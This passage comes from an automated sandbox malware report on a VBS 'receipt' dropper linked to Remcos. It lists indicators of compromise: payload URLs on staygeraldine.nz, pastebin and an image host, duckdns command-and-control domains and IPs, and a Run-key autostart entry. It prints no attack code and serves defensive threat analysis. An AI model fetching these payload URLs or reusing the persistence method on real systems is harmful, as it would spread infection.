https://staygeraldine.nz/cs/HVAPRIL.txt	0%	Avira URL Cloud	safe
http://app01.system.com.br/RDWeb/Pages/login.aspx1	0%	Virustotal		Browse
http://app01.system.com.br/RDWeb/Pages/login.aspx_Gen	0%	Avira URL Cloud	safe
http://staygeraldine.nz	3%	Virustotal		Browse
https://uploaddeimagens.com.br	0%	Avira URL Cloud	safe
https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029	0%	Avira URL Cloud	safe
http://crl.microu	0%	Avira URL Cloud	safe
https://staygeraldine.nz/cs/reccc.txt	0%	Avira URL Cloud	safe
https://staygeraldine.nz/cs/HVAPRIL.txt	2%	Virustotal		Browse
https://staygeraldine.nz	0%	Avira URL Cloud	safe
http://app01.system.com.br/RDWeb/Pages/login.aspxd	0%	Virustotal		Browse
https://uploaddeimagens.com.br	7%	Virustotal		Browse
http://app01.system.com.br/RDWeb/Pages/login.aspx	0%	Avira URL Cloud	safe
https://staygeraldine.nz	2%	Virustotal		Browse
https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029	14%	Virustotal		Browse
http://app01.system.com.br/RDWeb/Pages/login.aspx	0%	Virustotal		Browse
https://staygeraldine.nz/cs/reccc.txt	9%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
staygeraldine.nz	185.184.154.65	true	true	3%, Virustotal, Browse	unknown
hvaprinew850.duckdns.org	12.221.146.138	true	true		unknown
aprilxrwonew8450.duckdns.org	12.221.146.138	true	true	10%, Virustotal, Browse	unknown
geoplugin.net	178.237.33.50	true	false	4%, Virustotal, Browse	unknown
uploaddeimagens.com.br	172.67.215.45	true	true	7%, Virustotal, Browse	unknown
pastebin.com	172.67.19.24	true	false		high
remco8100.duckdns.org	12.221.146.138	true	true	4%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/KiVfSXMq	false		high
https://pastebin.com/raw/zQdp8jhj	false		high
https://staygeraldine.nz/cs/xwapri.txt	true	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/eEY9exCe	false		high
http://geoplugin.net/json.gp	true	URL Reputation: phishing	unknown
https://staygeraldine.nz/cs/HVAPRIL.txt	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://staygeraldine.nz/cs/reccc.txt	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.microsoft	powershell.exe, 00000002.00000002.3005878535.000001C2F3870000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://staygeraldine.nz	powershell.exe, 00000013.00000002.3197838373.0000000008CAC000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://go.microsoft.coB	powershell.exe, 00000002.00000002.2992946262.000001C2F36FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/v	wscript.exe, 0000000B.00000003.2489314469.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.0000000005919000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	powershell.exe, 00000002.00000002.2864981895.000001C2DB4F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://app01.system.com.br/RDWeb/Pages/login.aspx1	wscript.exe, 0000000C.00000003.2493728855.0000000002D46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2514604768.0000000002D46000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.microsoftx	powershell.exe, 00000014.00000002.3174766864.00000000071B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/KiVfSXMq(	wscript.exe, 0000000B.00000002.2508473121.000000000279E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2488334670.000000000279E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBsq	powershell.exe, 00000013.00000002.2685682373.0000000005321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2684643914.00000000049D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://app01.system.com.br/RDWeb/Pages/login.aspxd	wscript.exe, 00000000.00000003.1647773406.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1855411207.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856483618.000001C3F5C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1862783631.000001C3F5C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864289608.000001C3F5C90000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647688430.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2239689570.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2239764275.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2237881294.0000000004A40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2237816496.0000000004A40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2487931840.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2237921978.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2500231000.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2239108798.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2486858229.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2485015419.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2238346257.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2238891411.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2239781243.0000000004F50000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2489300119.0000000004F3F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2486802582.0000000004F51000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://app01.system.com.br/RDWeb/Pages/login.aspx&	wscript.exe, 0000000B.00000002.2508473121.000000000279E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2488334670.000000000279E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/KiVy	wscript.exe, 0000000B.00000003.2486858229.0000000004A5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2487931840.0000000004A5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2485015419.0000000004A63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/eEY9exCeu	wscript.exe, 0000000C.00000002.2517417922.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2496594638.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://app01.system.com.br/RDWeb/Pages/login.aspx_Gen	wscript.exe, 00000000.00000003.1647951336.000001C3F5C6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647746112.000001C3F5C64000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/_J-	wscript.exe, 0000000C.00000002.2517417922.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2496594638.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uploaddeimagens.com.br	powershell.exe, 00000013.00000002.2685682373.0000000005472000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2684643914.0000000004B22000.00000004.00000800.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com/raw/KiVfSXMqB	wscript.exe, 0000000B.00000003.2489314469.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.0000000005919000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2864981895.000001C2DB520000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com/	wscript.exe, 00000000.00000003.1863180766.000001C3F5F8C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2489314469.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.0000000005919000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2517417922.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2496594638.00000000057C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/eEY	wscript.exe, 0000000C.00000003.2510118820.0000000004F6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2510251662.0000000004F6F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2515804100.0000000004F72000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2510320972.0000000004F72000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microu	powershell.exe, 00000013.00000002.2667964650.00000000035B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2864981895.000001C2DB541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2685682373.0000000005321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2684643914.00000000049D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/KiV	wscript.exe, 0000000B.00000003.2500368226.0000000004A60000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2514719688.0000000004A63000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2500231000.0000000004A5E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/eEY9exCerY	wscript.exe, 0000000C.00000003.2493728855.0000000002D5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2514758690.0000000002D70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2509233169.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.v	powershell.exe, 00000002.00000002.2992946262.000001C2F36C4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://staygeraldine.nz	powershell.exe, 00000013.00000002.3197838373.0000000008B21000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://app01.system.com.br/RDWeb/Pages/login.aspx	wscript.exe, 00000000.00000003.1863971146.000001C3F5C62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647357148.000001C3F3DC9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647773406.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864003124.000001C3F3DAE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1855411207.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866018644.000001C3F3DFC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866353799.000001C3F5C65000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864323075.000001C3F3DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856483618.000001C3F5C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1863420731.000001C3F3DFA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1862783631.000001C3F5C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856483618.000001C3F5C7C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1865300591.000001C3F5C65000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1863781030.000001C3F3E52000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647382977.000001C3F5C70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866332730.000001C3F5C60000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866102564.000001C3F3E52000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864289608.000001C3F5C90000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647688430.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864053875.000001C3F3DC9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647412566.000001C3F3DD7000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com/raw/zQdp8jhjJ	wscript.exe, 00000000.00000002.1866453647.000001C3F5F10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/eEYi	wscript.exe, 0000000C.00000003.2493350153.0000000004F6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2487222391.0000000004F6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2489442883.0000000004F6E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.184.154.65	staygeraldine.nz	United Kingdom	38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	true
172.67.19.24	pastebin.com	United States	13335	CLOUDFLARENETUS	false
12.221.146.138	hvaprinew850.duckdns.org	United States	7018	ATT-INTERNET4US	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
172.67.215.45	uploaddeimagens.com.br	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1434496
Start date and time:	2024-05-01 08:35:35 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Tapril-30-receipt.vbs
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winVBS@39/33@7/5
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 100% Number of executed functions: 36 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7864 because it is empty
Execution Graph export aborted for target wscript.exe, PID 2144 because there are no executed function
Execution Graph export aborted for target wscript.exe, PID 5296 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:37:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\osma.vbs
07:37:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\osma.vbs
08:36:40	API Interceptor	3x Sleep call for process: wscript.exe modified
08:36:54	API Interceptor	100x Sleep call for process: powershell.exe modified
08:37:11	API Interceptor	1637309x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.184.154.65	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse
	https://google.com/amp/s/martynpinckard.co.nz/.well-known/mot/otp/auth/aGhvd2VAYnVyYmFua2NhLmdvdg==	Get hash	malicious	HTMLPhisher	Browse
	https://verity.nz/host2.4/admin/js/ms.php	Get hash	malicious	Unknown	Browse
	https://verity.nz/host2.4/admin/js/ms.php	Get hash	malicious	Unknown	Browse
	ATT00001.htm	Get hash	malicious	Unknown	Browse
	ATT00001.htm	Get hash	malicious	Unknown	Browse
	https://r20.rs6.net/tn.jsp?f=0011azUaaIcxSqMLViQNhDqRhMFGhEKkcL7qAHfnGfCLA04fmK_xQCHMgLKhiBOVD38rNGzKaREEVtR4QQ-phmDbGUE6wK1YlOgPEPhWwo54xxPOiqGjBCno4zVOUiFnMOEtlWR3R56GvI=&c=&ch=__#Z2luYS5wcmljZUBtZHJjLm9yZw==	Get hash	malicious	Unknown	Browse
	https://r20.rs6.net/tn.jsp?f=0011azUaaIcxSqMLViQNhDqRhMFGhEKkcL7qAHfnGfCLA04fmK_xQCHMgLKhiBOVD38rNGzKaREEVtR4QQ-phmDbGUE6wK1YlOgPEPhWwo54xxPOiqGjBCno4zVOUiFnMOEtlWR3R56GvI=&c=&ch=__#Z2luYS5wcmljZUBtZHJjLm9yZw==	Get hash	malicious	Unknown	Browse
	https://r20.rs6.net/tn.jsp?f=0011azUaaIcxSqMLViQNhDqRhMFGhEKkcL7qAHfnGfCLA04fmK_xQCHMgLKhiBOVD38rNGzKaREEVtR4QQ-phmDbGUE6wK1YlOgPEPhWwo54xxPOiqGjBCno4zVOUiFnMOEtlWR3R56GvI=&c=&ch=__#Z2luYS5wcmljZUBtZHJjLm9yZw==	Get hash	malicious	Unknown	Browse
172.67.19.24	prnportccy.vbs	Get hash	malicious	FormBook	Browse
	Demand Q2-2024.xlsx	Get hash	malicious	Unknown	Browse
	Hapril-29-receipt.img	Get hash	malicious	XWorm	Browse
	file300un.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar	Browse
	w0rLhtV1ui.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar	Browse
	Mp7cjtN6To.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	JHqNlw9U8c.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	xF3wienia PO2102559-1.xlsx	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	SecuriteInfo.com.Win64.TrojanX-gen.11161.10776.exe	Get hash	malicious	AsyncRAT, DcRat	Browse
12.221.146.138	171445824977c976fac5440dadfae67b1829817677698fe84127a065ee0d81bdba97dc885f639.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse
	Hapril-29-receipt.img	Get hash	malicious	XWorm	Browse
	F723838674.vbs	Get hash	malicious	Remcos	Browse
	F873635427.vbs	Get hash	malicious	Remcos, XWorm	Browse
	F873635427.vbs	Get hash	malicious	Remcos, XWorm	Browse
178.237.33.50	bYPQHxUNMF.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	doc.bat	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	New Order.xla.xlsx	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	PO-TKT-RFQ#24_4_30.com.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	AWBSHIPPING-DHL-46T6R9764987.vbs	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	1714456209369804801bdf0184bf91899d6952ac3158287761ba79e58bda9aa9358475c597235.dat-decoded.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	.04.2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	geoplugin.net/json.gp
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	rCurrent_Vendor_Payment_Application_Form_PDF.cmd	Get hash	malicious	DBatLoader, Remcos	Browse	geoplugin.net/json.gp
	xD6WLcrxAnep.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
hvaprinew850.duckdns.org	17144582515a071a41524102ee656c1585e8f7859c02c901c3fed665b836e9257178ab02f4700.dat-decoded.exe	Get hash	malicious	PureLog Stealer	Browse	45.146.255.167
	17144582515a071a41524102ee656c1585e8f7859c02c901c3fed665b836e9257178ab02f4700.dat-decoded.exe	Get hash	malicious	PureLog Stealer	Browse	45.146.255.167
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	45.146.255.167
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	45.146.255.167
uploaddeimagens.com.br	CARTASCONF_PDF.vbs	Get hash	malicious	Unknown	Browse	172.67.215.45
	SecuriteInfo.com.Exploit.ShellCode.69.24915.2103.rtf	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	prnportccy.vbs	Get hash	malicious	FormBook	Browse	172.67.215.45
	Demand Q2-2024.xlsx	Get hash	malicious	Unknown	Browse	104.21.45.138
	New Order.xla.xlsx	Get hash	malicious	Remcos	Browse	172.67.215.45
	dgYOTTzRDQ.rtf	Get hash	malicious	AgentTesla	Browse	104.21.45.138
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	172.67.215.45
	Factura.PDF______________________________________.vbs	Get hash	malicious	StormKitty, XWorm	Browse	104.21.45.138
	N#U00f3mina abril 2024.xla.xlsx	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	104.21.45.138
aprilxrwonew8450.duckdns.org	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	12.221.146.138
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	12.221.146.138
	Hapril-29-receipt.img	Get hash	malicious	XWorm	Browse	12.221.146.138
	17138520674595629f036092083cd6f67bdbe7369638076e0b4435be55ac10762b26f7e163552.dat-decoded.exe	Get hash	malicious	XWorm	Browse	134.255.217.251
	72625413524.vbs	Get hash	malicious	XWorm	Browse	134.255.217.251
geoplugin.net	bYPQHxUNMF.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	doc.bat	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	New Order.xla.xlsx	Get hash	malicious	Remcos	Browse	178.237.33.50
	PO-TKT-RFQ#24_4_30.com.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	AWBSHIPPING-DHL-46T6R9764987.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	1714456209369804801bdf0184bf91899d6952ac3158287761ba79e58bda9aa9358475c597235.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	.04.2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	rCurrent_Vendor_Payment_Application_Form_PDF.cmd	Get hash	malicious	DBatLoader, Remcos	Browse	178.237.33.50
	xD6WLcrxAnep.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
staygeraldine.nz	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	185.184.154.65
staygeraldine.nz	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	185.184.154.65

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATT-INTERNET4US	L7ktf7FKJB.elf	Get hash	malicious	Mirai	Browse	13.44.30.23
	cvoBQP1Lxo.elf	Get hash	malicious	Mirai	Browse	76.224.126.34
	cqf3hb5Qxg.elf	Get hash	malicious	Mirai	Browse	13.128.131.91
	171445824977c976fac5440dadfae67b1829817677698fe84127a065ee0d81bdba97dc885f639.dat-decoded.exe	Get hash	malicious	Remcos	Browse	12.221.146.138
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	12.221.146.138
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	12.221.146.138
	zWOxRE8mXb.elf	Get hash	malicious	Mirai, Okiru	Browse	99.189.160.147
	Hapril-29-receipt.img	Get hash	malicious	XWorm	Browse	12.221.146.138
	sora.arm.elf	Get hash	malicious	Mirai	Browse	13.175.53.106
	arm7.elf	Get hash	malicious	Mirai	Browse	107.219.4.90
DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	185.184.154.17
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	185.184.154.17
	Hapril-29-receipt.img	Get hash	malicious	XWorm	Browse	185.184.154.17
	f8txrlLgsG.elf	Get hash	malicious	Mirai	Browse	27.54.90.205
	https://b5qm3iux.dreamwp.com/erepxs/tracking/fV5EjH/msg.php?id=97973728	Get hash	malicious	Unknown	Browse	176.74.26.59
	ORDER-CONFIRMATION-DETAILS-000235374564.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	103.20.200.105
	RFQ#1047.exe	Get hash	malicious	AgentTesla	Browse	203.170.87.105
	RFQ#1047.exe	Get hash	malicious	AgentTesla	Browse	203.170.87.105
	RFQ 1.exe	Get hash	malicious	AgentTesla	Browse	203.170.87.105
	http://wyndham.ezybill.com.au	Get hash	malicious	Unknown	Browse	122.201.126.100
CLOUDFLARENETUS	CARTASCONF_PDF.vbs	Get hash	malicious	Unknown	Browse	172.67.215.45
	DHL Shipping Receipt_Waybill Doc_PRG2110017156060.exe	Get hash	malicious	FormBook	Browse	104.21.94.235
	RFQ-37463746374634.xls	Get hash	malicious	Unknown	Browse	172.67.206.230
	Team.vbs	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://toppdfconverter.org	Get hash	malicious	Unknown	Browse	172.67.208.236
	RFQ-37463746374634.xls	Get hash	malicious	Unknown	Browse	172.67.206.230
	PO 3501987036_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	RFQ-37463746374634.xls	Get hash	malicious	Unknown	Browse	172.67.206.230
	D7849764589370923DOFUG.LnK.lnk	Get hash	malicious	Unknown	Browse	172.67.171.109
	http://www.miltonhouse.nl	Get hash	malicious	Unknown	Browse	104.18.11.207
ATOM86-ASATOM86NL	bYPQHxUNMF.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	doc.bat	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	New Order.xla.xlsx	Get hash	malicious	Remcos	Browse	178.237.33.50
	PO-TKT-RFQ#24_4_30.com.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	AWBSHIPPING-DHL-46T6R9764987.vbs	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	1714456209369804801bdf0184bf91899d6952ac3158287761ba79e58bda9aa9358475c597235.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	.04.2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	Hapril-29-receipt.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	rCurrent_Vendor_Payment_Application_Form_PDF.cmd	Get hash	malicious	DBatLoader, Remcos	Browse	178.237.33.50
	xD6WLcrxAnep.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	CARTASCONF_PDF.vbs	Get hash	malicious	Unknown	Browse	172.67.215.45 185.184.154.65
	SWIFT_Details#64737389.vbs	Get hash	malicious	Unknown	Browse	172.67.215.45 185.184.154.65
	Team.vbs	Get hash	malicious	AgentTesla	Browse	172.67.215.45 185.184.154.65
	DHL_00015678202430.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.215.45 185.184.154.65
	PO 3501987036_pdf.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.215.45 185.184.154.65
	Remesas Aceptadas.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.215.45 185.184.154.65
	GCSG151347.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.215.45 185.184.154.65
